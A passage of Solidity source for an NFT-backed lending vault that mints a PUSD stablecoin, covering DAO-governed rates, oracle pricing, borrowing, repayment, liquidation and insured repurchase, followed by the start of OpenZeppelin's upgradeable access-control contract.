/// @param _stablecoin PUSD address
/// @param _nftContract The NFT contrat address. It could also be the address of an helper contract
/// if the target NFT isn't an ERC721 (CryptoPunks as an example)
/// @param _ethAggregator Chainlink ETH/USD price feed address
/// @param _floorOracle Chainlink floor oracle address
/// @param _typeInitializers Used to initialize NFT categories with their value and NFT indexes.
/// Floor NFT shouldn't be initialized this way
/// @param _settings Initial settings used by the contract
function initialize(
IStableCoin _stablecoin,
IERC721Upgradeable _nftContract,
IAggregatorV3Interface _ethAggregator,
IAggregatorV3Interface _floorOracle,
NFTCategoryInitializer[] calldata _typeInitializers,
IJPEGCardsCigStaking _cigStaking,
VaultSettings calldata _settings
) external initializer {
__AccessControl_init();
__ReentrancyGuard_init();
_setupRole(DAO_ROLE, msg.sender);
_setRoleAdmin(LIQUIDATOR_ROLE, DAO_ROLE);
_setRoleAdmin(DAO_ROLE, DAO_ROLE);
_validateRate(_settings.debtInterestApr);
_validateRate(_settings.creditLimitRate);
_validateRate(_settings.liquidationLimitRate);
_validateRate(_settings.cigStakedCreditLimitRate);
_validateRate(_settings.cigStakedLiquidationLimitRate);
_validateRate(_settings.valueIncreaseLockRate);
_validateRate(_settings.organizationFeeRate);
_validateRate(_settings.insurancePurchaseRate);
_validateRate(_settings.insuranceLiquidationPenaltyRate);
require(
_greaterThan(
_settings.liquidationLimitRate,
_settings.creditLimitRate
),
"invalid_liquidation_limit"
);
require(
_greaterThan(
_settings.cigStakedLiquidationLimitRate,
_settings.cigStakedCreditLimitRate
),
"invalid_cig_liquidation_limit"
);
require(
_greaterThan(
_settings.cigStakedCreditLimitRate,
_settings.creditLimitRate
),
"invalid_cig_credit_limit"
);
require(
_greaterThan(
_settings.cigStakedLiquidationLimitRate,
_settings.liquidationLimitRate
),
"invalid_cig_liquidation_limit"
);
stablecoin = _stablecoin;
ethAggregator = _ethAggregator;
floorOracle = _floorOracle;
cigStaking = _cigStaking;
nftContract = _nftContract;
settings = _settings;
//initializing the categories
for (uint256 i; i < _typeInitializers.length; ++i) {
NFTCategoryInitializer memory initializer = _typeInitializers[i];
nftTypeValueETH[initializer.hash] = initializer.valueETH;
for (uint256 j; j < initializer.nfts.length; j++) {
nftTypes[initializer.nfts[j]] = initializer.hash;
}
}
}
/// @dev The {accrue} function updates the contract's state by calculating
/// the additional interest accrued since the last state update
function accrue() public {
uint256 additionalInterest = _calculateAdditionalInterest();
totalDebtAccruedAt = block.timestamp;
totalDebtAmount += additionalInterest;
totalFeeCollected += additionalInterest;
}
/// @notice Allows the DAO to change the total debt cap
/// @param _borrowAmountCap New total debt cap
function setBorrowAmountCap(uint256 _borrowAmountCap)
external
onlyRole(DAO_ROLE)
{
settings.borrowAmountCap = _borrowAmountCap;
}
/// @notice Allows the DAO to change the interest APR on borrows
/// @param _debtInterestApr The new interest rate
function setDebtInterestApr(Rate calldata _debtInterestApr)
external
onlyRole(DAO_ROLE)
{
_validateRate(_debtInterestApr);
accrue();
settings.debtInterestApr = _debtInterestApr;
}
/// @notice Allows the DAO to change the amount of JPEG needed to increase the value of an NFT relative to the desired value
/// @param _valueIncreaseLockRate The new rate
function setValueIncreaseLockRate(Rate calldata _valueIncreaseLockRate)
external
onlyRole(DAO_ROLE)
{
_validateRate(_valueIncreaseLockRate);
settings.valueIncreaseLockRate = _valueIncreaseLockRate;
}
/// @notice Allows the DAO to change the max debt to collateral rate for a position
/// @param _creditLimitRate The new rate
function setCreditLimitRate(Rate calldata _creditLimitRate)
external
onlyRole(DAO_ROLE)
{
_validateRate(_creditLimitRate);
require(
_greaterThan(settings.liquidationLimitRate, _creditLimitRate),
"invalid_credit_limit"
);
require(
_greaterThan(settings.cigStakedCreditLimitRate, _creditLimitRate),
"invalid_credit_limit"
);
settings.creditLimitRate = _creditLimitRate;
}
/// @notice Allows the DAO to change the minimum debt to collateral rate for a position to be market as liquidatable
/// @param _liquidationLimitRate The new rate
function setLiquidationLimitRate(Rate calldata _liquidationLimitRate)
external
onlyRole(DAO_ROLE)
{
_validateRate(_liquidationLimitRate);
require(
_greaterThan(_liquidationLimitRate, settings.creditLimitRate),
"invalid_liquidation_limit"
);
require(
_greaterThan(
settings.cigStakedLiquidationLimitRate,
_liquidationLimitRate
),
"invalid_liquidation_limit"
);
settings.liquidationLimitRate = _liquidationLimitRate;
}
/// @notice Allows the DAO to change the minimum debt to collateral rate for a position staking a cig to be market as liquidatable
/// @param _cigLiquidationLimitRate The new rate
function setStakedCigLiquidationLimitRate(
Rate calldata _cigLiquidationLimitRate
) external onlyRole(DAO_ROLE) {
_validateRate(_cigLiquidationLimitRate);
require(
_greaterThan(
_cigLiquidationLimitRate,
settings.cigStakedCreditLimitRate
),
"invalid_cig_liquidation_limit"
);
require(
_greaterThan(
_cigLiquidationLimitRate,
settings.liquidationLimitRate
),
"invalid_cig_liquidation_limit"
);
settings.cigStakedLiquidationLimitRate = _cigLiquidationLimitRate;
}
/// @notice Allows the DAO to change the max debt to collateral rate for a position staking a cig
/// @param _cigCreditLimitRate The new rate
function setStakedCigCreditLimitRate(Rate calldata _cigCreditLimitRate)
external
onlyRole(DAO_ROLE)
{
_validateRate(_cigCreditLimitRate);
require(
_greaterThan(
settings.cigStakedLiquidationLimitRate,
_cigCreditLimitRate
),
"invalid_cig_credit_limit"
);
require(
_greaterThan(_cigCreditLimitRate, settings.creditLimitRate),
"invalid_cig_credit_limit"
);
settings.cigStakedCreditLimitRate = _cigCreditLimitRate;
}
/// @notice Allows the DAO to set the JPEG oracle
/// @param _aggregator new oracle address
function setJPEGAggregator(IAggregatorV3Interface _aggregator) external onlyRole(DAO_ROLE) {
require(address(_aggregator) != address(0), "invalid_address");
require(address(jpegAggregator) == address(0), "already_set");
jpegAggregator = _aggregator;
}
/// @notice Allows the DAO to change fallback oracle
/// @param _fallback new fallback address
function setFallbackOracle(IAggregatorV3Interface _fallback)
external
onlyRole(DAO_ROLE)
{
require(address(_fallback) != address(0), "invalid_address");
fallbackOracle = _fallback;
}
/// @notice Allows the DAO to toggle the fallback oracle
/// @param _useFallback Whether to use the fallback oracle
function toggleFallbackOracle(bool _useFallback)
external
onlyRole(DAO_ROLE)
{
require(address(fallbackOracle) != address(0), "fallback_not_set");
useFallbackOracle = _useFallback;
}
/// @notice Allows the DAO to set jpeg locker
/// @param _jpegLocker The jpeg locker address
function setJPEGLocker(IJPEGLock _jpegLocker) external onlyRole(DAO_ROLE) {
require(address(_jpegLocker) != address(0), "invalid_address");
jpegLocker = _jpegLocker;
}
/// @notice Allows the DAO to change the amount of time JPEG tokens need to be locked to change the value of an NFT
/// @param _newLockTime The amount new lock time amount
function setJPEGLockTime(uint256 _newLockTime) external onlyRole(DAO_ROLE) {
require(address(jpegLocker) != address(0), "no_jpeg_locker");
jpegLocker.setLockTime(_newLockTime);
}
/// @notice Allows the DAO to change the amount of time insurance remains valid after liquidation
/// @param _newLimit New time limit
function setInsuranceRepurchaseTimeLimit(uint256 _newLimit) external onlyRole(DAO_ROLE) {
require(_newLimit != 0, "invalid_limit");
settings.insuranceRepurchaseTimeLimit = _newLimit;
}
/// @notice Allows the DAO to bypass the floor oracle and override the NFT floor value
/// @param _newFloor The new floor
function overrideFloor(uint256 _newFloor) external onlyRole(DAO_ROLE) {
require(_newFloor != 0, "invalid_floor");
nftTypeValueETH[bytes32(0)] = _newFloor;
daoFloorOverride = true;
}
/// @notice Allows the DAO to stop overriding floor
function disableFloorOverride() external onlyRole(DAO_ROLE) {
daoFloorOverride = false;
}
/// @notice Allows the DAO to change the static borrow fee
/// @param _organizationFeeRate The new fee rate
function setOrganizationFeeRate(Rate calldata _organizationFeeRate)
external
onlyRole(DAO_ROLE)
{
_validateRate(_organizationFeeRate);
settings.organizationFeeRate = _organizationFeeRate;
}
/// @notice Allows the DAO to change the cost of insurance
/// @param _insurancePurchaseRate The new insurance fee rate
function setInsurancePurchaseRate(Rate calldata _insurancePurchaseRate)
external
onlyRole(DAO_ROLE)
{
_validateRate(_insurancePurchaseRate);
settings.insurancePurchaseRate = _insurancePurchaseRate;
}
/// @notice Allows the DAO to change the repurchase penalty rate in case of liquidation of an insured NFT
/// @param _insuranceLiquidationPenaltyRate The new rate
function setInsuranceLiquidationPenaltyRate(
Rate calldata _insuranceLiquidationPenaltyRate
) external onlyRole(DAO_ROLE) {
_validateRate(_insuranceLiquidationPenaltyRate);
settings
.insuranceLiquidationPenaltyRate = _insuranceLiquidationPenaltyRate;
}
/// @notice Allows the DAO to add an NFT to a specific price category
/// @param _nftIndex The index to add to the category
/// @param _type The category hash
function setNFTType(uint256 _nftIndex, bytes32 _type)
external
validNFTIndex(_nftIndex)
onlyRole(DAO_ROLE)
{
require(
_type == bytes32(0) || nftTypeValueETH[_type] != 0,
"invalid_nftType"
);
nftTypes[_nftIndex] = _type;
}
/// @notice Allows the DAO to change the value of an NFT category
/// @param _type The category hash
/// @param _amountETH The new value, in ETH
function setNFTTypeValueETH(bytes32 _type, uint256 _amountETH)
external
onlyRole(DAO_ROLE)
{
nftTypeValueETH[_type] = _amountETH;
}
/// @notice Allows the DAO to set the value in ETH of the NFT at index `_nftIndex`.
/// A JPEG deposit by a user is required afterwards. See {finalizePendingNFTValueETH} for more details
/// @param _nftIndex The index of the NFT to change the value of
/// @param _amountETH The new desired ETH value
function setPendingNFTValueETH(uint256 _nftIndex, uint256 _amountETH)
external
validNFTIndex(_nftIndex)
onlyRole(DAO_ROLE)
{
require(address(jpegLocker) != address(0), "no_jpeg_locker");
pendingNFTValueETH[_nftIndex] = _amountETH;
}
/// @notice Allows a user to lock up JPEG to make the change in value of an NFT effective.
/// Can only be called after {setPendingNFTValueETH}, which requires a governance vote.
/// @dev The amount of JPEG that needs to be locked is calculated by applying `valueIncreaseLockRate`
/// to the new credit limit of the NFT
/// @param _nftIndex The index of the NFT
function finalizePendingNFTValueETH(uint256 _nftIndex)
external
validNFTIndex(_nftIndex)
{
require(address(jpegLocker) != address(0), "no_jpeg_locker");
uint256 pendingValue = pendingNFTValueETH[_nftIndex];
require(pendingValue != 0, "no_pending_value");
uint256 toLockJpeg = (((pendingValue *
1 ether *
settings.creditLimitRate.numerator) /
settings.creditLimitRate.denominator) *
settings.valueIncreaseLockRate.numerator) /
settings.valueIncreaseLockRate.denominator /
_jpegPriceETH();
//lock JPEG using JPEGLock
jpegLocker.lockFor(msg.sender, _nftIndex, toLockJpeg);
nftTypes[_nftIndex] = CUSTOM_NFT_HASH;
nftValueETH[_nftIndex] = pendingValue;
//clear pending value
pendingNFTValueETH[_nftIndex] = 0;
}
/// @dev Checks if `r1` is greater than `r2`.
function _greaterThan(Rate memory _r1, Rate memory _r2)
internal
pure
returns (bool)
{
return
_r1.numerator * _r2.denominator > _r2.numerator * _r1.denominator;
}
/// @dev Validates a rate. The denominator must be greater than zero and greater than or equal to the numerator.
/// @param rate The rate to validate
function _validateRate(Rate calldata rate) internal pure {
require(
rate.denominator != 0 && rate.denominator >= rate.numerator,
"invalid_rate"
);
}
/// @dev Returns the value in ETH of the NFT at index `_nftIndex`
/// @param _nftIndex The NFT to return the value of
/// @return The value of the NFT, 18 decimals
function _getNFTValueETH(uint256 _nftIndex)
internal
view
returns (uint256)
{
bytes32 nftType = nftTypes[_nftIndex];
if (nftType == bytes32(0) && !daoFloorOverride) {
return
_normalizeAggregatorAnswer(
useFallbackOracle ? fallbackOracle : floorOracle
);
} else if (nftType == CUSTOM_NFT_HASH) return nftValueETH[_nftIndex];
return nftTypeValueETH[nftType];
}
/// @dev Returns the value in USD of the NFT at index `_nftIndex`
/// @param _nftIndex The NFT to return the value of
/// @return The value of the NFT in USD, 18 decimals
function _getNFTValueUSD(uint256 _nftIndex)
internal
view
returns (uint256)
{
uint256 nft_value = _getNFTValueETH(_nftIndex);
return (nft_value * _ethPriceUSD()) / 1 ether;
}
/// @dev Returns the current ETH price in USD
/// @return The current ETH price, 18 decimals
function _ethPriceUSD() internal view returns (uint256) {
return _normalizeAggregatorAnswer(ethAggregator);
}
/// @dev Returns the current JPEG price in ETH
/// @return The current JPEG price, 18 decimals
function _jpegPriceETH() internal view returns (uint256) {
IAggregatorV3Interface aggregator = jpegAggregator;
require(address(aggregator) != address(0), "jpeg_oracle_not_set");
return _normalizeAggregatorAnswer(aggregator);
}
/// @dev Fetches and converts to 18 decimals precision the latest answer of a Chainlink aggregator
/// @param aggregator The aggregator to fetch the answer from
/// @return The latest aggregator answer, normalized
function _normalizeAggregatorAnswer(IAggregatorV3Interface aggregator)
internal
view
returns (uint256)
{
(, int256 answer, , uint256 timestamp, ) = aggregator.latestRoundData();
require(answer > 0, "invalid_oracle_answer");
require(timestamp != 0, "round_incomplete");
uint8 decimals = aggregator.decimals();
unchecked {
//converts the answer to have 18 decimals
return
decimals > 18
? uint256(answer) / 10**(decimals - 18)
: uint256(answer) * 10**(18 - decimals);
}
}
struct NFTInfo {
uint256 index;
bytes32 nftType;
address owner;
uint256 nftValueETH;
uint256 nftValueUSD;
}
/// @notice Returns data relative to the NFT at index `_nftIndex`
/// @param _nftIndex The NFT index
/// @return nftInfo The data relative to the NFT
function getNFTInfo(uint256 _nftIndex)
external
view
returns (NFTInfo memory nftInfo)
{
nftInfo = NFTInfo(
_nftIndex,
nftTypes[_nftIndex],
nftContract.ownerOf(_nftIndex),
_getNFTValueETH(_nftIndex),
_getNFTValueUSD(_nftIndex)
);
}
/// @dev Returns the credit limit of an NFT
/// @param _nftIndex The NFT to return credit limit of
/// @return The NFT credit limit
function _getCreditLimit(address user, uint256 _nftIndex)
internal
view
returns (uint256)
{
uint256 value = _getNFTValueUSD(_nftIndex);
if (cigStaking.isUserStaking(user)) {
return
(value * settings.cigStakedCreditLimitRate.numerator) /
settings.cigStakedCreditLimitRate.denominator;
}
return
(value * settings.creditLimitRate.numerator) /
settings.creditLimitRate.denominator;
}
/// @dev Returns the minimum amount of debt necessary to liquidate an NFT
/// @param _nftIndex The index of the NFT
/// @return The minimum amount of debt to liquidate the NFT
function _getLiquidationLimit(address user, uint256 _nftIndex)
internal
view
returns (uint256)
{
uint256 value = _getNFTValueUSD(_nftIndex);
if (cigStaking.isUserStaking(user)) {
return
(value * settings.cigStakedLiquidationLimitRate.numerator) /
settings.cigStakedLiquidationLimitRate.denominator;
}
return
(value * settings.liquidationLimitRate.numerator) /
settings.liquidationLimitRate.denominator;
}
/// @dev Calculates current outstanding debt of an NFT
/// @param _nftIndex The NFT to calculate the outstanding debt of
/// @return The outstanding debt value
function _getDebtAmount(uint256 _nftIndex) internal view returns (uint256) {
uint256 calculatedDebt = _calculateDebt(
totalDebtAmount,
positions[_nftIndex].debtPortion,
totalDebtPortion
);
uint256 principal = positions[_nftIndex].debtPrincipal;
//_calculateDebt is prone to rounding errors that may cause
//the calculated debt amount to be 1 or 2 units less than
//the debt principal when the accrue() function isn't called
//in between the first borrow and the _calculateDebt call.
return principal > calculatedDebt ? principal : calculatedDebt;
}
/// @dev Calculates the total debt of a position given the global debt, the user's portion of the debt and the total user portions
/// @param total The global outstanding debt
/// @param userPortion The user's portion of debt
/// @param totalPortion The total user portions of debt
/// @return The outstanding debt of the position
function _calculateDebt(
uint256 total,
uint256 userPortion,
uint256 totalPortion
) internal pure returns (uint256) {
return totalPortion == 0 ? 0 : (total * userPortion) / totalPortion;
}
/// @dev Opens a position
/// Emits a {PositionOpened} event
/// @param _owner The owner of the position to open
/// @param _nftIndex The NFT used as collateral for the position
function _openPosition(address _owner, uint256 _nftIndex) internal {
positionOwner[_nftIndex] = _owner;
positionIndexes.add(_nftIndex);
nftContract.transferFrom(_owner, address(this), _nftIndex);
emit PositionOpened(_owner, _nftIndex);
}
/// @dev Calculates the additional global interest since last time the contract's state was updated by calling {accrue}
/// @return The additional interest value
function _calculateAdditionalInterest() internal view returns (uint256) {
// Number of seconds since {accrue} was called
uint256 elapsedTime = block.timestamp - totalDebtAccruedAt;
if (elapsedTime == 0) {
return 0;
}
uint256 totalDebt = totalDebtAmount;
if (totalDebt == 0) {
return 0;
}
// Accrue interest
return
(elapsedTime * totalDebt * settings.debtInterestApr.numerator) /
settings.debtInterestApr.denominator /
365 days;
}
/// @notice Returns the number of open positions
/// @return The number of open positions
function totalPositions() external view returns (uint256) {
return positionIndexes.length();
}
/// @notice Returns all open position NFT indexes
/// @return The open position NFT indexes
function openPositionsIndexes() external view returns (uint256[] memory) {
return positionIndexes.values();
}
struct PositionPreview {
address owner;
uint256 nftIndex;
bytes32 nftType;
uint256 nftValueUSD;
VaultSettings vaultSettings;
uint256 creditLimit;
uint256 debtPrincipal;
uint256 debtInterest;
uint256 liquidatedAt;
BorrowType borrowType;
bool liquidatable;
address liquidator;
}
/// @notice Returns data relative to a postition, existing or not
/// @param _nftIndex The index of the NFT used as collateral for the position
/// @return preview See assignment below
function showPosition(uint256 _nftIndex)
external
view
validNFTIndex(_nftIndex)
returns (PositionPreview memory preview)
{
address posOwner = positionOwner[_nftIndex];
Position storage position = positions[_nftIndex];
uint256 debtPrincipal = position.debtPrincipal;
uint256 liquidatedAt = position.liquidatedAt;
uint256 debtAmount = liquidatedAt != 0
? position.debtAmountForRepurchase //calculate updated debt
: _calculateDebt(
totalDebtAmount + _calculateAdditionalInterest(),
position.debtPortion,
totalDebtPortion
);
//_calculateDebt is prone to rounding errors that may cause
//the calculated debt amount to be 1 or 2 units less than
//the debt principal if no time has elapsed in between the first borrow
//and the _calculateDebt call.
if (debtPrincipal > debtAmount) debtAmount = debtPrincipal;
unchecked {
preview = PositionPreview({
owner: posOwner, //the owner of the position, `address(0)` if the position doesn't exists
nftIndex: _nftIndex, //the NFT used as collateral for the position
nftType: nftTypes[_nftIndex], //the type of the NFT
nftValueUSD: _getNFTValueUSD(_nftIndex), //the value in USD of the NFT
vaultSettings: settings, //the current vault's settings
creditLimit: _getCreditLimit(posOwner, _nftIndex), //the NFT's credit limit
debtPrincipal: debtPrincipal, //the debt principal for the position, `0` if the position doesn't exists
debtInterest: debtAmount - debtPrincipal, //the interest of the position
borrowType: position.borrowType, //the insurance type of the position, `NOT_CONFIRMED` if it doesn't exist
liquidatable: liquidatedAt == 0 &&
debtAmount >= _getLiquidationLimit(posOwner, _nftIndex), //if the position can be liquidated
liquidatedAt: liquidatedAt, //if the position has been liquidated and it had insurance, the timestamp at which the liquidation happened
liquidator: position.liquidator //if the position has been liquidated and it had insurance, the address of the liquidator
});
}
}
/// @notice Allows users to open positions and borrow using an NFT
/// @dev emits a {Borrowed} event
/// @param _nftIndex The index of the NFT to be used as collateral
/// @param _amount The amount of PUSD to be borrowed. Note that the user will receive less than the amount requested,
/// the borrow fee and insurance automatically get removed from the amount borrowed
/// @param _useInsurance Whereter to open an insured position. In case the position has already been opened previously,
/// this parameter needs to match the previous insurance mode. To change insurance mode, a user needs to close and reopen the position
function borrow(
uint256 _nftIndex,
uint256 _amount,
bool _useInsurance
) external validNFTIndex(_nftIndex) nonReentrant {
accrue();
require(
msg.sender == positionOwner[_nftIndex] ||
address(0) == positionOwner[_nftIndex],
"unauthorized"
);
require(_amount != 0, "invalid_amount");
require(
totalDebtAmount + _amount <= settings.borrowAmountCap,
"debt_cap"
);
Position storage position = positions[_nftIndex];
require(position.liquidatedAt == 0, "liquidated");
require(
position.borrowType == BorrowType.NOT_CONFIRMED ||
(position.borrowType == BorrowType.USE_INSURANCE &&
_useInsurance) ||
(position.borrowType == BorrowType.NON_INSURANCE &&
!_useInsurance),
"invalid_insurance_mode"
);
uint256 creditLimit = _getCreditLimit(msg.sender, _nftIndex);
uint256 debtAmount = _getDebtAmount(_nftIndex);
require(debtAmount + _amount <= creditLimit, "insufficient_credit");
//calculate the borrow fee
uint256 organizationFee = (_amount *
settings.organizationFeeRate.numerator) /
settings.organizationFeeRate.denominator;
uint256 feeAmount = organizationFee;
//if the position is insured, calculate the insurance fee
if (position.borrowType == BorrowType.USE_INSURANCE || _useInsurance) {
feeAmount +=
(_amount * settings.insurancePurchaseRate.numerator) /
settings.insurancePurchaseRate.denominator;
}
totalFeeCollected += feeAmount;
if (position.borrowType == BorrowType.NOT_CONFIRMED) {
position.borrowType = _useInsurance
? BorrowType.USE_INSURANCE
: BorrowType.NON_INSURANCE;
}
uint256 debtPortion = totalDebtPortion;
// update debt portion
if (debtPortion == 0) {
totalDebtPortion = _amount;
position.debtPortion = _amount;
} else {
uint256 plusPortion = (debtPortion * _amount) / totalDebtAmount;
totalDebtPortion = debtPortion + plusPortion;
position.debtPortion += plusPortion;
}
position.debtPrincipal += _amount;
totalDebtAmount += _amount;
if (positionOwner[_nftIndex] == address(0)) {
_openPosition(msg.sender, _nftIndex);
}
//subtract the fee from the amount borrowed
stablecoin.mint(msg.sender, _amount - feeAmount);
emit Borrowed(msg.sender, _nftIndex, _amount);
}
/// @notice Allows users to repay a portion/all of their debt. Note that since interest increases every second,
/// a user wanting to repay all of their debt should repay for an amount greater than their current debt to account for the
/// additional interest while the repay transaction is pending, the contract will only take what's necessary to repay all the debt
/// @dev Emits a {Repaid} event
/// @param _nftIndex The NFT used as collateral for the position
/// @param _amount The amount of debt to repay. If greater than the position's outstanding debt, only the amount necessary to repay all the debt will be taken
function repay(uint256 _nftIndex, uint256 _amount)
external
validNFTIndex(_nftIndex)
nonReentrant
{
accrue();
require(msg.sender == positionOwner[_nftIndex], "unauthorized");
require(_amount != 0, "invalid_amount");
Position storage position = positions[_nftIndex];
require(position.liquidatedAt == 0, "liquidated");
uint256 debtAmount = _getDebtAmount(_nftIndex);
require(debtAmount != 0, "position_not_borrowed");
uint256 debtPrincipal = position.debtPrincipal;
uint256 debtInterest = debtAmount - debtPrincipal;
_amount = _amount > debtAmount ? debtAmount : _amount;
// burn all payment, the interest is sent to the DAO using the {collect} function
stablecoin.burnFrom(msg.sender, _amount);
uint256 paidPrincipal;
unchecked {
paidPrincipal = _amount > debtInterest ? _amount - debtInterest : 0;
}
uint256 totalPortion = totalDebtPortion;
uint256 totalDebt = totalDebtAmount;
uint256 minusPortion = paidPrincipal == debtPrincipal
? position.debtPortion
: (totalPortion * _amount) / totalDebt;
totalDebtPortion = totalPortion - minusPortion;
position.debtPortion -= minusPortion;
position.debtPrincipal -= paidPrincipal;
totalDebtAmount = totalDebt - _amount;
emit Repaid(msg.sender, _nftIndex, _amount);
}
/// @notice Allows a user to close a position and get their collateral back, if the position's outstanding debt is 0
/// @dev Emits a {PositionClosed} event
/// @param _nftIndex The index of the NFT used as collateral
function closePosition(uint256 _nftIndex)
external
validNFTIndex(_nftIndex)
nonReentrant
{
accrue();
require(msg.sender == positionOwner[_nftIndex], "unauthorized");
require(positions[_nftIndex].liquidatedAt == 0, "liquidated");
require(_getDebtAmount(_nftIndex) == 0, "position_not_repaid");
positionOwner[_nftIndex] = address(0);
delete positions[_nftIndex];
positionIndexes.remove(_nftIndex);
// transfer nft back to owner if nft was deposited
if (nftContract.ownerOf(_nftIndex) == address(this)) {
nftContract.safeTransferFrom(address(this), msg.sender, _nftIndex);
}
emit PositionClosed(msg.sender, _nftIndex);
}
/// @notice Allows members of the `LIQUIDATOR_ROLE` to liquidate a position. Positions can only be liquidated
/// once their debt amount exceeds the minimum liquidation debt to collateral value rate.
/// In order to liquidate a position, the liquidator needs to repay the user's outstanding debt.
/// If the position is not insured, it's closed immediately and the collateral is sent to the liquidator.
/// If the position is insured, the position remains open (interest doesn't increase) and the owner of the position has a certain amount of time
/// (`insuranceRepurchaseTimeLimit`) to fully repay the liquidator and pay an additional liquidation fee (`insuranceLiquidationPenaltyRate`), if this
/// is done in time the user gets back their collateral and their position is automatically closed. If the user doesn't repurchase their collateral
/// before the time limit passes, the liquidator can claim the liquidated NFT and the position is closed
/// @dev Emits a {Liquidated} event
/// @param _nftIndex The NFT to liquidate
function liquidate(uint256 _nftIndex)
external
onlyRole(LIQUIDATOR_ROLE)
validNFTIndex(_nftIndex)
nonReentrant
{
accrue();
address posOwner = positionOwner[_nftIndex];
require(posOwner != address(0), "position_not_exist");
Position storage position = positions[_nftIndex];
require(position.liquidatedAt == 0, "liquidated");
uint256 debtAmount = _getDebtAmount(_nftIndex);
require(
debtAmount >= _getLiquidationLimit(posOwner, _nftIndex),
"position_not_liquidatable"
);
// burn all payment
stablecoin.burnFrom(msg.sender, debtAmount);
// update debt portion
totalDebtPortion -= position.debtPortion;
totalDebtAmount -= debtAmount;
position.debtPortion = 0;
bool insured = position.borrowType == BorrowType.USE_INSURANCE;
if (insured) {
position.debtAmountForRepurchase = debtAmount;
position.liquidatedAt = block.timestamp;
position.liquidator = msg.sender;
} else {
// transfer nft to liquidator
positionOwner[_nftIndex] = address(0);
delete positions[_nftIndex];
positionIndexes.remove(_nftIndex);
nftContract.safeTransferFrom(address(this), msg.sender, _nftIndex);
}
emit Liquidated(msg.sender, posOwner, _nftIndex, insured);
}
/// @notice Allows liquidated users who purchased insurance to repurchase their collateral within the time limit
/// defined with the `insuranceRepurchaseTimeLimit`. The user needs to pay the liquidator the total amount of debt
/// the position had at the time of liquidation, plus an insurance liquidation fee defined with `insuranceLiquidationPenaltyRate`
/// @dev Emits a {Repurchased} event
/// @param _nftIndex The NFT to repurchase
function repurchase(uint256 _nftIndex)
external
validNFTIndex(_nftIndex)
nonReentrant
{
Position memory position = positions[_nftIndex];
require(msg.sender == positionOwner[_nftIndex], "unauthorized");
require(position.liquidatedAt != 0, "not_liquidated");
require(
position.borrowType == BorrowType.USE_INSURANCE,
"non_insurance"
);
require(
position.liquidatedAt + settings.insuranceRepurchaseTimeLimit >=
block.timestamp,
"insurance_expired"
);
uint256 debtAmount = position.debtAmountForRepurchase;
uint256 penalty = (debtAmount *
settings.insuranceLiquidationPenaltyRate.numerator) /
settings.insuranceLiquidationPenaltyRate.denominator;
// transfer nft to user
positionOwner[_nftIndex] = address(0);
delete positions[_nftIndex];
positionIndexes.remove(_nftIndex);
// transfer payment to liquidator
stablecoin.safeTransferFrom(
msg.sender,
position.liquidator,
debtAmount + penalty
);
nftContract.safeTransferFrom(address(this), msg.sender, _nftIndex);
emit Repurchased(msg.sender, _nftIndex);
}
/// @notice Allows the liquidator who liquidated the insured position with NFT at index `_nftIndex` to claim the position's collateral
/// after the time period defined with `insuranceRepurchaseTimeLimit` has expired and the position owner has not repurchased the collateral.
/// @dev Emits an {InsuranceExpired} event
/// @param _nftIndex The NFT to claim
function claimExpiredInsuranceNFT(uint256 _nftIndex)
external
validNFTIndex(_nftIndex)
nonReentrant
{
Position memory position = positions[_nftIndex];
address owner = positionOwner[_nftIndex];
require(address(0) != owner, "no_position");
require(position.liquidatedAt != 0, "not_liquidated");
require(
position.liquidatedAt + settings.insuranceRepurchaseTimeLimit <
block.timestamp,
"insurance_not_expired"
);
require(position.liquidator == msg.sender, "unauthorized");
positionOwner[_nftIndex] = address(0);
delete positions[_nftIndex];
positionIndexes.remove(_nftIndex);
nftContract.safeTransferFrom(address(this), msg.sender, _nftIndex);
emit InsuranceExpired(owner, _nftIndex);
}
/// @notice Allows the DAO to collect interest and fees before they are repaid
function collect() external nonReentrant onlyRole(DAO_ROLE) {
accrue();
stablecoin.mint(msg.sender, totalFeeCollected);
totalFeeCollected = 0;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol)
pragma solidity ^0.8.0;
import "./IAccessControlUpgradeable.sol";
import "../utils/ContextUpgradeable.sol";
import "../utils/StringsUpgradeable.sol";
import "../utils/introspection/ERC165Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable {
function __AccessControl_init() internal onlyInitializing {
}
function __AccessControl_init_unchained() internal onlyInitializing {
}
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view virtual override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
